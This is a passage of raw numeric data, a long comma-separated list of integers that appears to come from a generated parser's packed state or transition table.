,45,45,45,45,45,45,45,992,67,67,67,1284,67,67,67,67,67,67,67,67,67,67,67,67,67,1607,67,67,97,1364,97,97,97,97,97,97,97,97,97,97,97,97,97,97,596,97,45,1556,1557,45,45,45,45,45,45,45,45,45,45,45,45,45,45,696,45,1596,1597,67,67,67,67,67,67,67,67,67,67,67,67,67,67,499,67,97,97,97,1621,97,97,97,97,97,97,97,97,97,97,97,97,97,1346,97,97,97,97,1740,97,97,97,97,45,45,45,45,45,45,45,45,45,45,1678,45,45,45,45,45,67,97,97,97,97,97,97,1836,0,97,97,97,97,97,0,0,97,97,97,1984,97,45,45,45,45,45,45,1808,45,45,45,45,45,45,45,45,67,739,67,67,67,67,67,744,45,45,1909,45,45,45,45,45,45,45,67,1917,67,1918,67,67,67,67,67,67,1247,67,67,67,67,67,67,67,67,67,67,532,67,67,67,67,67,67,1922,67,67,67,67,67,67,67,97,1930,97,1931,97,0,0,97,97,0,97,97,97,45,45,45,45,45,45,67,67,67,67,1576,67,67,67,67,1580,67,67,0,97,97,1938,97,0,0,0,97,97,97,97,97,97,45,45,45,699,45,45,45,704,45,45,45,45,45,45,45,45,987,45,45,45,45,45,45,45,67,67,97,97,97,97,0,0,97,97,97,2006,97,97,97,97,0,45,1533,45,45,45,45,45,45,45,45,45,1416,45,45,45,45,45,45,45,45,722,723,45,45,45,45,45,45,2045,67,67,67,2047,0,0,97,97,97,2051,45,45,67,67,0,0,0,0,925,41606,0,0,0,0,45,45,45,45,45,45,409,45,45,45,45,45,45,45,45,45,1957,45,67,67,67,67,67,1836,97,97,45,67,0,97,45,67,0,97,45,67,0,97,45,45,67,67,67,1761,67,67,67,1764,67,67,67,67,67,67,67,494,67,67,67,67,67,67,67,67,67,787,67,67,67,67,67,67,45,45,420,45,45,422,45,45,425,45,45,45,45,45,45,45,387,45,45,45,45,397,45,45,45,67,460,67,67,67,67,67,67,67,67,67,67,67,67,67,67,515,67,485,67,67,67,67,67,67,67,67,67,67,67,67,67,498,67,67,67,67,67,97,0,2039,97,97,97,97,97,45,45,45,45,1426,45,45,45,67,67,67,67,67,67,67,67,67,1689,67,67,67,97,557,97,97,97,97,97,97,97,97,97,97,97,97,97,97,612,97,582,97,97,97,97,97,97,97,97,97,97,97,97,97,595,97,97,97,97,97,896,97,97,97,97,97,97,97,97,97,97,885,97,97,97,97,97,45,939,45,45,45,45,943,45,45,45,45,45,45,45,45,45,45,1916,67,67,67,67,67,45,67,67,67,67,67,67,67,1015,67,67,67,67,1019,67,67,67,67,67,67,1271,67,67,67,67,67,67,1277,67,67,67,67,67,67,1287,67,67,67,67,67,67,67,67,67,67,804,67,67,67,67,67,1077,67,67,67,67,67,67,67,37689,0,25403,0,66365,0,0,0,0,0,0,0,0,2170880,2170880,2170880,2170880,2170880,2437120,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2543616,2170880,2170880,2170880,2170880,2170880,2629632,1169,97,1171,97,97,97,97,97,97,97,12288,0,925,0,1179,0,0,0,0,925,41606,0,0,0,0,45,45,45,45,936,45,45,67,67,214,67,220,67,67,233,67,243,67,248,67,67,67,67,67,67,1298,67,67,67,67,0,0,0,0,0,0,97,97,97,97,97,1617,97,0,0,0,45,45,45,1183,45,45,45,45,45,45,45,45,45,393,45,45,45,45,45,45,67,67,1243,67,67,67,67,67,67,67,67,67,67,67,67,67,1074,67,67,1281,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,776,1323,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,907,45,1412,45,45,45,45,45,45,45,1418,45,45,45,45,45,45,686,45,45,45,690,45,45,695,45,45,67,67,67,67,67,1465,67,67,67,67,67,67,67,67,67,67,67,97,97,97,1712,97,97,97,97,1741,97,97,97,45,45,45,45,45,45,45,45,45,426,45,45,45,45,45,45,67,67,67,1924,67,67,67,67,67,97,97,97,97,97,0,0,97,97,1983,97,97,45,45,1987,45,1988,45,0,97,97,97,97,0,0,0,1942,97,97,97,97,97,45,45,45,700,45,45,45,45,45,45,45,45,45,45,711,45,45,153,45,45,166,45,176,45,181,45,45,188,191,196,45,204,255,258,263,67,271,67,67,0,37139,24853,0,0,0,282,41098,65820,97,97,97,294,97,300,97,97,313,97,323,97,328,97,97,335,338,343,97,351,97,97,0,53264,0,18,18,24,24,356,28,28,0,0,0,0,0,0,0,0,41098,0,140,45,45,45,45,1404,45,45,45,45,45,45,45,45,45,45,1411,67,67,486,67,67,67,67,67,67,67,67,67,67,67,67,67,1251,67,67,501,67,67,67,67,67,67,67,67,67,67,67,67,513,67,67,67,67,67,67,1443,67,67,67,67,67,67,67,67,67,67,1263,67,67,67,67,67,97,97,583,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1526,97,598,97,97,97,97,97,97,97,97,97,97,97,97,610,97,97,0,97,97,1796,97,97,97,97,97,97,97,45,45,45,45,45,1744,45,45,45,369,0,651,45,653,45,654,45,656,45,45,45,660,45,45,45,45,1558,45,45,45,45,45,45,45,45,1566,45,45,681,45,683,45,45,45,45,45,45,45,45,691,692,694,45,45,45,716,45,45,45,45,45,45,45,45,45,45,45,45,709,45,45,712,45,714,45,45,45,718,45,45,45,45,45,45,45,726,45,45,45,733,45,45,45,45,67,67,67,67,67,67,67,67,67,67,67,67,1691,67,67,747,67,67,67,67,67,67,67,67,67,760,67,67,67,0,0,0,0,0,0,97,1613,97,97,97,97,97,97,1509,97,97,97,97,97,97,97,97,97,0,1179,0,45,45,45,45,67,764,67,67,67,67,768,67,770,67,67,67,67,67,67,67,67,97,97,97,97,0,0,0,1977,67,778,779,781,67,67,67,67,67,67,788,789,67,67,792,793,67,67,67,813,67,67,67,67,67,67,67,67,67,824,37689,544,25403,546,70179,0,0,66365,66365,552,0,836,97,838,97,839,97,841,97,97,97,845,97,97,97,97,97,97,97,97,97,858,97,97,0,1728,97,97,97,0,97,97,97,97,97,97,97,97,97,97,45,1802,45,97,97,862,97,97,97,97,866,97,868,97,97,97,97,97,97,0,0,97,97,1788,97,97,97,0,0,97,97,876,877,879,97,97,97,97,97,97,886,887,97,97,890,891,97,97,97,97,97,97,97,899,97,97,97,903,97,97,97,0,97,97,97,0,97,97,97,97,97,97,97,1646,97,97,97,97,911,97,97,97,97,97,97,97,97,97,922,923,45,955,45,957,45,45,45,45,45,45,45,45,45,45,45,45,195,45,45,45,45,45,981,982,45,45,45,45,45,45,989,45,45,45,45,45,170,45,45,45,45,45,45,45,45,45,45,411,45,45,45,45,45,67,1023,67,67,67,67,67,67,1031,67,1033,67,67,67,67,67,67,67,817,819,67,67,67,67,67,37689,544,67,1065,67,67,67,67,67,67,67,67,67,67,67,67,67,67,516,67,67,1078,67,67,1081,1082,67,67,37689,0,25403,0,66365,0,0,0,0,0,0,0,0,2171166,2171166,2171166,2171166,2171166,2437406,2171166,2171166,97,1115,97,1117,97,97,97,97,97,97,1125,97,1127,97,97,97,0,97,97,97,0,97,97,97,97,1644,97,97,97,0,97,97,97,0,97,97,1642,97,97,97,97,97,97,625,97,97,97,97,97,97,97,97,97,316,97,97,97,97,97,97,97,97,97,1159,97,97,97,97,97,97,97,97,97,97,97,97,97,1502,97,97,97,97,97,1172,97,97,1175,1176,97,97,12288,0,925,0,1179,0,0,0,0,925,41606,0,0,0,0,45,45,45,935,45,45,45,1233,45,45,45,1236,45,45,45,45,45,45,45,67,67,67,67,67,67,1873,67,67,45,45,1218,45,45,45,1223,45,45,45,45,45,45,45,1230,45,45,67,67,215,219,222,67,230,67,67,244,246,249,67,67,67,67,67,67,1882,97,97,97,97,0,0,0,97,97,97,97,97,97,45,1904,45,1905,45,67,67,67,67,67,1258,67,1260,67,67,67,67,67,67,67,67,67,495,67,67,67,67,67,67,67,67,1283,67,67,67,67,67,67,67,1290,67,67,67,67,67,67,67,818,67,67,67,67,67,67,37689,544,67,67,1295,67,67,67,67,67,67,67,67,0,0,0,0,0,0,2174976,0,0,97,97,97,1326,97,97,97,97,97,97,97,97,97,97,97,97,97,1514,97,97,97,97,97,1338,97,1340,97,97,97,97,97,97,97,97,97,97,97,1500,97,97,1503,97,1363,97,97,97,97,97,97,97,1370,97,97,97,97,97,97,97,563,97,97,97,97,97,97,578,97,1375,97,97,97,97,97,97,97,97,0,1179,0,45,45,45,45,685,45,45,45,45,45,45,45,45,45,45,45,1003,45,45,45,45,67,67,67,1463,67,67,67,67,67,67,67,67,67,67,67,67,67,1778,97,97,97,97,97,1518,97,97,97,97,97,97,97,97,97,97,97,97,609,97,97,97,45,1542,45,45,45,45,45,45,45,1548,45,45,45,45,45,1554,45,1570,1571,45,67,67,67,67,67,67,1578,67,67,67,67,67,67,67,1055,67,67,67,67,67,1061,67,67,1582,67,67,67,67,67,67,67,1588,67,67,67,67,67,1594,67,67,67,67,67,97,2038,0,97,97,97,97,97,2044,45,45,45,995,45,45,45,45,1e3,45,45,45,45,45,45,45,1809,45,1811,45,45,45,45,45,67,1610,1611,67,1476,0,1478,0,1480,0,97,97,97,97,97,97,1618,1647,1649,97,97,97,1652,97,1654,1655,97,0,45,45,45,1658,45,45,67,67,216,67,67,67,67,234,67,67,67,67,252,254,1845,97,97,97,97,97,97,97,45,45,45,45,45,45,45,45,945,45,947,45,45,45,45,45,67,67,67,67,67,1881,97,97,97,97,97,0,0,0,97,97,97,97,97,1902,45,45,45,45,45,45,1908,45,45,45,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,1921,67,67,67,67,67,67,67,67,97,97,97,97,97,0,0,0,97,97,0,97,1937,97,97,1940,0,0,97,97,97,97,97,97,1947,1948,1949,45,45,45,1952,45,1954,45,45,45,45,1959,1960,1961,67,67,67,67,67,67,1455,67,67,67,67,67,67,67,67,67,67,757,67,67,67,67,67,67,1964,67,1966,67,67,67,67,1971,1972,1973,97,0,0,0,97,97,1104,97,97,97,97,97,97,97,97,97,97,884,97,97,97,889,97,97,1978,97,0,0,1981,97,97,97,97,45,45,45,45,45,45,736,45,67,67,67,67,67,67,67,67,67,67,67,1018,67,67,67,45,67,67,67,67,0,2049,97,97,97,97,45,45,67,67,0,0,0,0,925,41606,0,0,0,0,45,933,45,45,45,45,1234,45,45,45,45,45,45,45,45,45,45,67,97,97,288,97,97,97,97,97,97,317,97,97,97,97,97,97,0,0,97,1787,97,97,97,97,0,0,45,45,378,45,45,45,45,45,390,45,45,45,45,45,45,45,424,45,45,45,431,433,45,45,45,67,1050,67,67,67,67,67,67,67,67,67,67,67,67,67,67,518,67,97,97,97,1144,97,97,97,97,97,97,97,97,97,97,97,97,632,97,97,97,97,97,97,97,1367,97,97,97,97,97,97,97,97,97,97,97,855,97,97,97,97,67,97,97,97,97,97,97,1837,0,97,97,97,97,97,0,0,0,1897,97,97,97,97,97,45,45,45,45,45,1208,45,45,45,45,45,45,45,45,45,45,724,45,45,45,45,45,97,2010,45,45,45,45,45,45,2016,67,67,67,67,67,67,2022,45,2046,67,67,67,0,0,2050,97,97,97,45,45,67,67,0,0,0,0,925,41606,0,0,0,0,932,45,45,45,45,45,1222,45,45,45,45,45,45,45,45,45,45,1227,45,45,45,45,45,133,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,45,45,701,702,45,45,705,706,45,45,45,45,45,45,703,45,45,45,45,45,45,45,45,45,719,45,45,45,45,45,725,45,45,45,369,649,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1216,25403,546,70179,0,0,66365,66365,552,834,97,97,97,97,97,97,97,1342,97,97,97,97,97,97,97,97,0,97,97,97,97,97,97,97,1799,97,97,45,45,45,1569,45,45,45,1572,67,67,67,67,67,67,67,67,67,67,67,0,0,0,1306,0,67,67,67,1598,67,67,67,67,67,67,67,67,1606,67,67,1609,97,97,97,1650,97,97,1653,97,97,97,0,45,45,1657,45,45,45,1206,45,45,45,45,45,45,45,45,45,45,45,45,1421,45,45,45,1703,67,67,67,67,67,67,67,67,67,67,97,97,1711,97,97,0,1895,0,97,97,97,97,97,97,45,45,45,45,45,958,45,960,45,45,45,45,45,45,45,45,1913,45,45,1915,67,67,67,67,67,67,67,466,67,67,67,67,67,67,481,67,45,1749,45,45,45,45,45,45,45,45,1755,45,45,45,45,45,173,45,45,45,45,45,45,45,45,45,45,974,45,45,45,45,45,67,67,67,67,67,1773,67,67,67,67,67,67,67,97,97,97,97,1886,0,0,0,97,97,67,2035,2036,67,67,97,0,0,97,2041,2042,97,97,45,45,45,45,1662,45,45,45,45,45,45,45,45,45,45,45,1397,45,45,45,45,151,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,437,205,45,67,67,67,218,67,67,67,67,67,67,67,67,67,67,67,1047,67,67,67,67,97,97,97,97,298,97,97,97,97,97,97,97,97,97,97,97,870,97,97,97,97,97,97,97,97,352,97,0,53264,0,18,18,24,24,0,28,28,0,0,0,0,0,0,365,0,41098,0,140,45,45,45,45,45,1427,45,45,67,67,67,67,67,67,67,1435,520,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1037,617,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,923,45,1232,45,45,45,45,45,45,45,45,45,45,45,45,45,67,67,67,67,1919,67,1759,45,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1021,45,154,45,162,45,45,45,45,45,45,45,45,45,45,45,45,964,45,45,45,206,45,67,67,67,67,221,67,229,67,67,67,67,67,67,67,67,530,67,67,67,67,67,67,67,67,755,67,67,67,67,67,67,67,67,785,67,67,67,67,67,67,67,67,802,67,67,67,807,67,67,67,97,97,97,97,353,97,0,53264,0,18,18,24,24,0,28,28,0,0,0,0,0,0,366,0,0,0,140,2170880,2170880,2170880,2416640,402,45,45,45,45,45,45,45,410,45,45,45,45,45,45,45,674,45,45,45,45,45,45,45,45,389,45,394,45,45,398,45,45,45,45,441,45,45,45,45,45,447,45,45,45,454,45,45,67,67,67,67,67,67,67,67,67,67,67,1768,67,67,67,67,67,488,67,67,67,67,67,67,67,496,67,67,67,67,67,67,67,1774,67,67,67,67,67,97,97,97,97,0,0,97,97,97,0,97,97,97,97,97,97,97,97,67,67,523,67,67,527,67,67,67,67,67,533,67,67,67,540,97,97,97,585,97,97,97,97,97,97,97,593,97,97,97,97,97,97,1784,0,97,97,97,97,97,97,0,0,97,97,97,97,97,97,0,0,0,18,18,24,24,0,28,28,97,97,620,97,97,624,97,97,97,97,97,630,97,97,97,637,713,45,45,45,45,45,45,721,45,45,45,45,45,45,45,45,1197,45,45,45,45,45,45,45,45,730,732,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,1581,67,45,67,67,67,67,1012,67,67,67,67,67,67,67,67,67,67,67,1059,67,67,67,67,67,1024,67,67,67,67,67,67,67,67,67,67,67,67,67,67,775,67,67,67,67,1066,67,67,67,67,67,67,67,67,67,67,67,67,479,67,67,67,67,67,67,1080,67,67,67,67,37689,0,25403,0,66365,0,0,0,0,0,0,0,287,0,0,0,287,0,2379776,2170880,2170880,97,97,97,1118,97,97,97,97,97,97,97,97,97,97,97,97,920,97,97,0,0,0,0,45,1181,45,45,45,45,45,45,45,45,45,45,45,432,45,45,45,45,45,45,1219,45,45,45,45,45,45,1226,45,45,45,45,45,45,959,45,45,45,45,45,45,45,45,45,184,45,45,45,45,202,45,1241,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1266,67,1268,67,67,67,67,67,67,67,67,67,67,67,67,1279,67,67,67,67,67,272,67,0,37139,24853,0,0,0,0,41098,65820,67,67,67,67,67,1286,67,67,67,67,67,67,67,67,67,1293,67,67,67,1296,67,67,67,67,67,67,67,0,0,0,0,0,281,94,0,0,97,97,97,1366,97,97,97,97,97,97,97,97,97,1373,97,97,18,0,139621,0,0,0,0,0,0,364,0,0,367,0,97,1376,97,97,97,97,97,97,97,0,0,0,45,45,1384,45,45,67,208,67,67,67,67,67,67,237,67,67,67,67,67,67,67,1069,1070,67,67,67,67,67,67,67,0,37140,24854,0,0,0,0,41098,65821,45,1423,45,45,45,45,45,45,67,67,1431,67,67,67,67,67,67,67,1083,37689,0,25403,0,66365,0,0,0,1436,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1830,67,1452,1453,67,67,67,67,1456,67,67,67,67,67,67,67,67,67,771,67,67,67,67,67,67,1461,67,67,67,1464,67,1466,67,67,67,67,67,67,1470,67,67,67,67,67,67,1587,67,67,67,67,67,67,67,67,1595,1489,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1129,97,1505,1506,97,97,97,97,1510,97,97,97,97,97,97,97,97,97,1163,1164,97,97,97,97,97,1516,97,97,97,1519,97,1521,97,97,97,97,97,97,1525,97,97,18,0,139621,0,0,0,0,0,0,364,0,0,367,41606,67,67,67,67,67,1586,67,67,67,67,67,67,67,67,67,67,67,1276,67,67,67,67,67,67,67,67,67,1600,67,67,67,67,67,67,67,67,67,67,67,1301,0,0,0,1307,97,97,1620,97,97,97,97,97,97,97,1627,97,97,97,97,97,97,913,97,97,97,97,919,97,97,97,0,97,97,97,1781,97,97,0,0,97,97,97,97,97,97,0,0,97,97,97,97,97,97,0,1792,1860,45,1862,1863,45,1865,45,67,67,67,67,67,67,67,67,1875,67,1877,1878,67,1880,67,97,97,97,97,97,1887,0,1889,97,97,18,0,139621,0,0,0,0,0,0,364,237568,0,367,0,97,1893,0,0,0,97,1898,1899,97,1901,97,45,45,45,45,45,2014,45,67,67,67,67,67,2020,67,97,1989,45,1990,45,45,45,67,67,67,67,67,67,1996,67,1997,67,67,67,67,67,273,67,0,37139,24853,0,0,0,0,41098,65820,67,67,97,97,97,97,0,0,97,97,2005,0,97,2007,97,97,18,0,139621,0,0,0,642,0,133,364,0,0,367,41606,0,97,97,2056,2057,0,2059,45,67,0,97,45,67,0,97,45,45,67,209,67,67,67,223,67,67,67,67,67,67,67,67,67,786,67,67,67,791,67,67,45,45,940,45,45,45,45,45,45,45,45,45,45,45,45,45,45,727,45,45,67,67,67,67,67,67,67,67,1016,67,67,67,67,67,67,67,67,37689,0,25403,0,66365,0,0,0,133,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,142,45,45,67,210,67,67,67,225,67,67,239,67,67,67,250,67,67,67,67,67,464,67,67,67,67,67,476,67,67,67,67,67,67,67,1709,67,67,67,97,97,97,97,97,97,0,0,97,97,97,97,97,1843,0,67,259,67,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,97,289,97,97,97,303,97,97,97,97,97,97,97,97,97,97,901,97,97,97,97,97,339,97,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,0,358,0,0,0,0,0,0,41098,0,140,45,45,45,45,45,1953,45,1955,45,45,45,67,67,67,67,67,67,67,1687,1688,67,67,67,67,45,45,405,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1203,45,458,67,67,67,67,67,67,67,67,67,470,477,67,67,67,67,67,67,67,1970,97,97,97,1974,0,0,0,97,1103,97,97,97,97,97,97,97,97,97,97,97,1372,97,97,97,97,67,522,67,67,67,67,67,67,67,67,67,67,67,536,67,67,67,67,67,67,1696,67,67,67,67,67,67,67,1701,67,555,97,97,97,97,97,97,97,97,97,567,574,97,97,97,97,97,301,97,309,97,97,97,97,97,97,97,97,97,900,97,97,97,905,97,97,97,619,97,97,97,97,97,97,97,97,97,97,97,633,97,97,18,0,139621,0,0,362,0,0,0,364,0,0,367,41606,369,649,45,45,45,45,45,45,45,45,45,45,45,45,663,664,67,67,67,67,750,751,67,67,67,67,758,67,67,67,67,67,67,67,1272,67,67,67,67,67,67,67,67,67,1057,1058,67,67,67,67,67,67,67,67,797,67,67,67,67,67,67,67,67,67,67,67,67,512,67,67,67,97,97,97,97,895,97,97,97,97,97,97,97,97,97,97,97,902,97,97,97,97,67,67,1051,67,67,67,67,67,67,67,67,67,67,67,1062,67,67,67,67,67,491,67,67,67,67,67,67,67,67,67,67,67,1302,0,0,0,1308,97,97,97,97,1145,97,97,97,97,97,97,97,97,97,97,97,1139,97,97,97,97,1156,97,97,97,97,97,97,1161,97,97,97,97,97,1166,97,97,18,640,139621,0,641,0,0,0,0,364,0,0,367,41606,67,67,67,67,1257,67,67,67,67,67,67,67,67,67,67,67,0,0,1305,0,0,97,97,1337,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1630,97,67,1474,67,67,0,0,0,0,0,0,0,0,0,0,0,0,0,2380062,2171166,2171166,97,1529,97,97,0,45,45,45,45,45,45,45,45,45,45,45,1228,45,45,45,45,67,67,67,67,1707,67,67,67,67,67,67,97,97,97,97,97,0,0,0,97,1891,1739,97,97,97,97,97,97,45,45,45,45,45,45,45,45,45,1198,45,1200,45,45,45,45,97,97,1894,0,0,97,97,97,97,97,97,45,45,45,45,45,672,45,45,45,45,45,45,45,45,45,45,45,1420,45,45,45,45,67,67,1965,67,1967,67,67,67,97,97,97,97,0,1976,0,97,97,45,67,0,97,45,67,0,97,45,67,0,97,45,97,97,1979,0,0,97,1982,97,97,97,1986,45,45,45,45,45,735,45,45,67,67,67,67,67,67,67,67,67,67,67,67,67,1770,67,67,2e3,97,97,97,2002,0,97,97,97,0,97,97,97,97,97,97,1798,97,97,97,45,45,45,2034,67,67,67,67,97,0,0,2040,97,97,97,97,45,45,45,45,1752,45,45,45,1753,1754,45,45,45,45,45,45,383,45,45,45,45,45,45,45,45,45,675,45,45,45,45,45,45,438,45,45,45,45,45,445,45,45,45,45,45,45,45,45,67,1430,67,67,67,67,67,67,67,67,67,524,67,67,67,67,67,531,67,67,67,67,67,67,67,67,37689,0,25403,0,66365,0,0,1096,97,97,97,621,97,97,97,97,97,628,97,97,97,97,97,97,0,53264,0,18,18,24,24,356,28,28,665,45,45,45,45,45,45,45,45,45,676,45,45,45,45,45,942,45,45,45,45,45,45,45,45,45,45,707,708,45,45,45,45,763,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,809,810,67,67,67,67,783,67,67,67,67,67,67,67,67,67,67,67,0,1303,0,0,0,97,861,97,97,97,97,97,97,97,97,97,97,97,97,97,97,613,97,45,45,956,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1215,45,67,67,67,67,1027,67,67,67,67,1032,67,67,67,67,67,67,67,67,37689,0,25403,0,66365,0,0,1097,1064,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1075,67,1098,0,0,97,97,97,97,97,97,97,97,97,97,97,97,97,331,97,97,97,97,1158,97,97,97,97,97,97,97,97,97,97,97,97,97,594,97,97,1309,0,0,0,1315,0,0,0,0,0,0,0,0,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1374,97,45,45,1543,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1240,67,67,1583,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1252,67,97,97,97,1635,97,97,97,0,97,97,97,97,97,97,97,97,1800,97,45,45,45,97,97,1793,97,97,97,97,97,97,97,97,97,97,45,45,45,1743,45,45,45,1746,45,0,97,97,97,97,97,1851,97,45,45,45,45,1856,45,45,45,45,1864,45,45,67,67,1869,67,67,67,67,1874,67,0,97,97,45,67,2058,97,45,67,0,97,45,67,0,97,45,45,67,211,67,67,67,67,67,67,240,67,67,67,67,67,67,67,1444,67,67,67,67,67,67,67,67,67,509,67,67,67,67,67,67,67,67,67,268,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,97,290,97,97,97,305,97,97,319,97,97,97,330,97,97,18,640,139621,0,641,0,0,0,0,364,0,643,367,41606,97,97,348,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,0,0,0,364,0,367,41098,369,140,45,45,45,45,380,45,45,45,45,45,45,395,45,45,45,400,369,0,45,45,45,45,45,45,45,45,658,45,45,45,45,45,972,45,45,45,45,45,45,45,45,45,45,427,45,45,45,45,45,745,67,67,67,67,67,67,67,67,756,67,67,67,67,67,67,67,67,37689,1086,25403,1090,66365,1094,0,0,97,843,97,97,97,97,97,97,97,97,854,97,97,97,97,97,97,1121,97,97,97,97,1126,97,97,97,97,45,980,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1400,45,67,67,67,1011,67,67,67,67,67,67,67,67,67,67,67,0,1304,0,0,0,1190,45,45,1193,1194,45,45,45,45,45,1199,45,1201,45,45,45,45,1911,45,45,45,45,45,67,67,67,67,67,67,67,1579,67,67,67,67,45,1205,45,45,45,45,45,45,45,45,1211,45,45,45,45,45,984,45,45,45,45,45,45,45,45,45,45,45,1550,45,45,45,45,45,1217,45,45,45,45,45,45,1225,45,45,45,45,1229,45,45,45,1388,45,45,45,45,45,45,1396,45,45,45,45,45,444,45,45,45,45,45,45,45,45,45,67,67,1574,67,67,67,67,67,67,67,67,67,67,1590,67,67,67,67,67,1254,67,67,67,67,67,1259,67,1261,67,67,67,67,1265,67,67,67,67,67,67,1708,67,67,67,67,97,97,97,97,97,97,0,0,97,97,97,97,97,0,0,67,67,67,67,1285,67,67,67,67,1289,67,67,67,67,67,67,67,67,37689,1087,25403,1091,66365,1095,0,0,97,97,97,97,1339,97,1341,97,97,97,97,1345,97,97,97,97,97,561,97,97,97,97,97,573,97,97,97,97,97,97,1717,97,0,97,97,97,97,97,97,97,591,97,97,97,97,97,97,97,97,97,1329,97,97,97,97,97,97,97,97,97,97,1351,97,97,97,97,97,97,1357,97,97,97,97,97,588,97,97,97,97,97,97,97,97,97,97,568,97,97,97,97,97,97,97,1365,97,97,97,97,1369,97,97,97,97,97,97,97,97,97,1356,97,97,97,97,97,97,45,45,1403,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1399,45,45,45,1413,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1669,45,1422,45,45,1425,45,45,1428,45,1429,67,67,67,67,67,67,67,67,1468,67,67,67,67,67,67,67,67,529,67,67,67,67,67,67,539,67,67,1475,67,0,0,0,0,0,0,0,0,0,0,0,0,140,2170880,2170880,2170880,2416640,97,97,1530,97,0,45,45,1534,45,45,45,45,45,45,45,45,1956,45,45,67,67,67,67,67,67,67,67,67,1599,67,67,1601,67,67,67,67,67,67,67,67,67,803,67,67,67,67,67,67,1632,97,1634,0,97,97,97,1640,97,97,97,1643,97,97,1645,97,97,97,97,97,912,97,97,97,97,97,97,97,97,97,0,0,0,45,45,45,45,45,45,1660,1661,45,45,45,45,1665,1666,45,45,45,45,45,1670,1692,1693,67,67,67,67,67,1697,67,67,67,67,67,67,67,1702,97,97,1714,1715,97,97,97,97,0,1721,1722,97,97,97,97,97,97,1353,97,97,97,97,97,97,97,97,1362,1726,97,0,0,97,97,97,0,97,97,97,1734,97,97,97,97,97,848,849,97,97,97,97,856,97,97,97,97,97,354,0,53264,0,18,18,24,24,0,28,28,45,45,1750,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1681,45,0,1846,97,97,97,97,97,97,45,45,1854,45,45,45,45,1859,67,67,67,1879,67,67,97,97,1884,97,97,0,0,0,97,97,97,1105,97,97,97,97,97,97,97,97,97,97,1344,97,97,97,1347,97,1892,97,0,0,0,97,97,97,1900,97,97,45,45,45,45,45,997,45,45,45,45,45,45,45,45,45,45,1002,45,45,1005,1006,45,67,67,67,67,67,1926,67,67,1928,97,97,97,97,97,0,0,97,97,97,0,97,97,97,97,97,97,1737,97,0,97,97,97,97,0,0,0,97,97,1944,97,97,1946,45,45,45,1544,45,45,45,45,45,45,45,45,45,45,45,45,190,45,45,45,152,155,45,163,45,45,177,179,182,45,45,45,193,197,45,45,45,1672,45,45,45,45,45,1677,45,1679,45,45,45,45,996,45,45,45,45,45,45,45,45,45,45,45,1212,45,45,45,45,67,260,264,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,97,97,295,299,302,97,310,97,97,324,326,329,97,97,97,0,97,97,1639,0,1641,97,97,97,97,97,97,97,97,1511,97,97,97,97,97,97,97,97,1523,97,97,97,97,97,97,97,97,1719,97,97,97,97,97,97,97,97,1720,97,97,97,97,97,97,97,312,97,97,97,97,97,97,97,97,1123,97,97,97,97,97,97,97,340,344,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,0,0,0,364,0,367,41098,369,140,45,45,373,375,419,45,45,45,45,45,45,45,45,45,428,45,45,435,45,45,45,1751,45,45,45,45,45,45,45,45,45,45,45,45,1410,45,45,45,67,67,67,505,67,67,67,67,67,67,67,67,67,514,67,67,67,67,67,67,1969,67,97,97,97,97,0,0,0,97,97,45,67,0,97,45,67,0,97,2064,2065,0,2066,45,521,67,67,67,67,67,67,67,67,67,67,534,67,67,67,67,67,67,465,67,67,67,474,67,67,67,67,67,67,67,1467,67,67,67,67,67,67,67,67,67,97,97,97,97,97,1933,0,97,97,97,602,97,97,97,97,97,97,97,97,97,611,97,97,18,640,139621,358,641,0,0,0,0,364,0,0,367,0,618,97,97,97,97,97,97,97,97,97,97,631,97,97,97,97,97,881,97,97,97,97,97,97,97,97,97,97,569,97,97,97,97,97,369,0,45,652,45,45,45,45,45,657,45,45,45,45,45,45,1235,45,45,45,45,45,45,45,45,67,67,67,1432,67,67,67,67,67,67,67,766,67,67,67,67,67,67,67,67,773,67,67,67,0,1305,0,1311,0,1317,97,97,97,97,97,97,97,1624,97,97,97,97,97,97,97,97,0,97,97,97,1724,97,97,97,777,67,67,782,67,67,67,67,67,67,67,67,67,67,67,67,535,67,67,67,67,67,67,67,814,67,67,67,67,67,67,67,67,67,37689,544,25403,546,70179,0,0,66365,66365,552,0,97,837,97,97,97,97,97,97,1496,97,97,97,97,97,97,97,97,97,97,918,97,97,97,97,0,842,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1168,97,97,97,97,864,97,97,97,97,97,97,97,97,871,97,97,97,0,1637,97,97,0,97,97,97,97,97,97,97,97,97,97,1801,45,45,97,875,97,97,880,97,97,97,97,97,97,97,97,97,97,97,1151,1152,97,97,97,67,67,67,1040,67,67,67,67,67,67,67,67,67,67,67,67,790,67,67,67,1180,0,649,45,45,45,45,45,45,45,45,45,45,45,45,45,200,45,45,67,67,67,1454